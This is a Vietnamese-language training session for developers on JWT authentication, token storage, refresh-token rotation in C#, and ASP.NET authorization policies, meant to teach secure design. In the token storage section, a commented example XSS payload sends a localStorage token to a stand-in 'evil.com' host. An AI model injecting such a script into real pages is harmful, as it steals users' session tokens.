EngineeringSenior DeveloperTraining Sessions

Session 11 - Authentication & Authorization: Hiểu Để Không Bị Hack

Nhiều dev "implement JWT" nhưng không hiểu token lưu ở đâu, expires khi nào, refresh thế nào. Session này giải thích flow thực tế để bạn implement đúng VÀ an toàn.


Mục tiêu

  • Hiểu JWT flow thật sự (không phải tutorial "generate token")
  • Token storage: Cookie vs LocalStorage - tradeoffs
  • Refresh token - tại sao cần và implement thế nào
  • Authorization beyond roles: Policy-based, Resource-based

1) JWT - Chuyện Gì Thực Sự Xảy ra

JWT = JSON Web Token = chuỗi text chứa claims, ĐƯỢC KÝ bởi server.

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIn0.SIGNATURE
│── Header ──│────── Payload ───────────────│── Signature ──│

Header: { "alg": "HS256" }
Payload: { "sub": "1234", "role": "admin", "exp": 1700000000 }
Signature: HMACSHA256(header + "." + payload, SECRET_KEY)

Flow

1. Client gửi credentials (email/password)
2. Server verify credentials
3. Server tạo JWT, ký bằng SECRET_KEY
4. Server trả JWT cho client
5. Client gửi JWT trong mỗi request (Authorization: Bearer xxx)
6. Server VERIFY signature → biết token CHƯA BỊ SỬA
7. Server đọc claims từ payload → biết user là ai, quyền gì

⚠️ JWT payload KHÔNG encrypted! Chỉ signed (chống giả mạo).
→ KHÔNG đặt sensitive data trong JWT (password, credit card)
→ Ai có token đều đọc được payload (base64 decode)

Tại sao dùng JWT thay Session?

Session (traditional):
  - Server lưu session data trong memory/DB
  - Client gửi session ID (cookie)
  - Server lookup session → trả data
  → Stateful: server PHẢI lưu trạng thái
  → Khó scale horizontally (sticky sessions hoặc shared session store)

JWT (modern):
  - Server KHÔNG lưu gì (stateless)
  - Token chứa TẤT CẢ thông tin cần thiết
  - Server chỉ verify signature
  → Stateless: dễ scale (mọi server verify được)
  → Nhưng: KHÔNG revoke được! (token valid đến khi expire)

2) Token Storage - Sai Ở Đây = Bị Hack

LocalStorage / SessionStorage:
  ✅ Dễ implement (JS truy cập được)
  ❌ XSS vulnerable: malicious JS đọc được token → game over!
  
  // ❌ XSS attack:
  // Hacker inject script vào page (qua user input không sanitize)
  // <script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>
  // → Token bị đánh cắp!

HttpOnly Cookie:
  ✅ JS KHÔNG truy cập được (XSS safe)
  ✅ Browser tự gửi cookie mỗi request
  ❌ CSRF vulnerable (browser tự gửi → fake request từ site khác)
  → Cần CSRF protection (SameSite=Strict, anti-forgery token)

Recommendation

SPA (React, Angular):
  Access Token: in-memory (JS variable, Zustand/Redux)
    → Mất khi refresh tab → dùng Refresh Token lấy lại
  Refresh Token: HttpOnly Secure Cookie
    → An toàn, browser tự gửi

Server-Rendered (Next.js SSR, Blazor Server):
  Cả 2 tokens: HttpOnly Secure Cookie
  → Server handle token, client KHÔNG thấy token

Mobile App:
  Access Token: Secure storage (Keychain iOS, Keystore Android)
  Refresh Token: Secure storage

3) Refresh Token - Flow

Tại sao cần?
  Access Token sống SHORT (15 phút) → nếu bị đánh cắp, thiệt hại ít
  Refresh Token sống LONG (7-30 ngày) → để lấy access token mới
  
Flow:
  1. Login → Server trả { accessToken, refreshToken }
  2. Client dùng accessToken cho API calls
  3. accessToken expire (15 phút)
  4. Client gửi refreshToken đến /auth/refresh
  5. Server verify refreshToken → trả accessToken MỚI
  6. Client tiếp tục dùng accessToken mới

Refresh Token Rotation (bảo mật cao):
  - Mỗi lần refresh → server trả refresh token MỚI
  - Refresh token cũ bị invalidate
  - Nếu ai dùng token cũ → BIẾT bị đánh cắp → revoke tất cả
csharp
// Refresh endpoint
app.MapPost("/auth/refresh", async (
    HttpContext context,
    ITokenService tokenService,
    AppDbContext db) =>
{
    var refreshToken = context.Request.Cookies["refresh_token"];
    if (refreshToken is null) return Results.Unauthorized();

    var storedToken = await db.RefreshTokens
        .FirstOrDefaultAsync(t => t.Token == refreshToken);

    if (storedToken is null || storedToken.ExpiresAt < DateTime.UtcNow)
    {
        // Token không tồn tại hoặc expired → force re-login
        return Results.Unauthorized();
    }

    if (storedToken.IsRevoked)
    {
        // Token bị revoke → có thể bị đánh cắp!
        // Revoke TẤT CẢ tokens của user này
        await db.RefreshTokens
            .Where(t => t.UserId == storedToken.UserId)
            .ExecuteUpdateAsync(t => t.SetProperty(x => x.IsRevoked, true));
        return Results.Unauthorized();
    }

    // Rotate: invalidate current, create new
    storedToken.IsRevoked = true;

    var newRefreshToken = tokenService.GenerateRefreshToken();
    db.RefreshTokens.Add(new RefreshToken
    {
        Token = newRefreshToken,
        UserId = storedToken.UserId,
        ExpiresAt = DateTime.UtcNow.AddDays(7)
    });

    var newAccessToken = tokenService.GenerateAccessToken(storedToken.UserId);
    await db.SaveChangesAsync();

    context.Response.Cookies.Append("refresh_token", newRefreshToken, new CookieOptions
    {
        HttpOnly = true,
        Secure = true,
        SameSite = SameSiteMode.Strict,
        Expires = DateTimeOffset.UtcNow.AddDays(7)
    });

    return Results.Ok(new { accessToken = newAccessToken });
});

4) Authorization - Beyond Roles

csharp
// Level 1: Role-based (đơn giản, đủ cho nhiều app)
[Authorize(Roles = "Admin")]
public IActionResult DeleteUser(int id) { }

// Level 2: Policy-based (flexible, recommended)
builder.Services.AddAuthorization(options =>
{
    options.AddPolicy("CanDeleteOrders", policy =>
        policy.RequireRole("Admin")
              .RequireClaim("department", "Sales", "Management"));

    options.AddPolicy("MinimumAge18", policy =>
        policy.AddRequirements(new MinimumAgeRequirement(18)));
});

// Level 3: Resource-based (kiểm tra quyền trên RESOURCE cụ thể)
// "User X có quyền edit ORDER Y không?"
public class OrderAuthorizationHandler
    : AuthorizationHandler<EditOrderRequirement, Order>
{
    protected override Task HandleRequirementAsync(
        AuthorizationHandlerContext context,
        EditOrderRequirement requirement,
        Order order)
    {
        // Chỉ owner hoặc admin mới edit được
        var userId = context.User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
        if (order.CreatedBy == userId || context.User.IsInRole("Admin"))
        {
            context.Succeed(requirement);
        }
        return Task.CompletedTask;
    }
}

5) Common Vulnerabilities

1. Token trong URL: /api/data?token=xxx
   → Token lọt vào server logs, browser history, referer header!
   → LUÔN dùng Authorization header hoặc Cookie

2. Weak secret key: "mysecret123"
   → Brute force trong seconds
   → Dùng ≥256-bit key, lưu trong Key Vault

3. Không validate token đúng:
   → Phải validate: issuer, audience, expiration, signature
   → Không validate = chấp nhận token giả!

4. Token never expires:
   → Token bị đánh cắp = access vĩnh viễn
   → Access: 15 phút, Refresh: 7-30 ngày

5. Expose sensitive data trong JWT payload:
   → JWT payload = base64, AI CŨNG ĐỌC ĐƯỢC
   → Chỉ đặt: userId, role, permissions

Master Checklist ✅

□ Access token ngắn hạn (15-30 phút)?
□ Refresh token trong HttpOnly Secure Cookie?
□ Refresh token rotation enabled?
□ Token không nằm trong URL hoặc localStorage?
□ JWT secret ≥256 bit, lưu Key Vault?
□ Validate issuer, audience, expiration?
□ CORS configured đúng?
□ Resource-based auth cho sensitive operations?

Tư duy master: Security không phải feature thêm vào. Nó là constraint ảnh hưởng mọi design decision. Khi design bất kỳ API nào, câu hỏi đầu tiên: "Ai KHÔNG nên truy cập được?"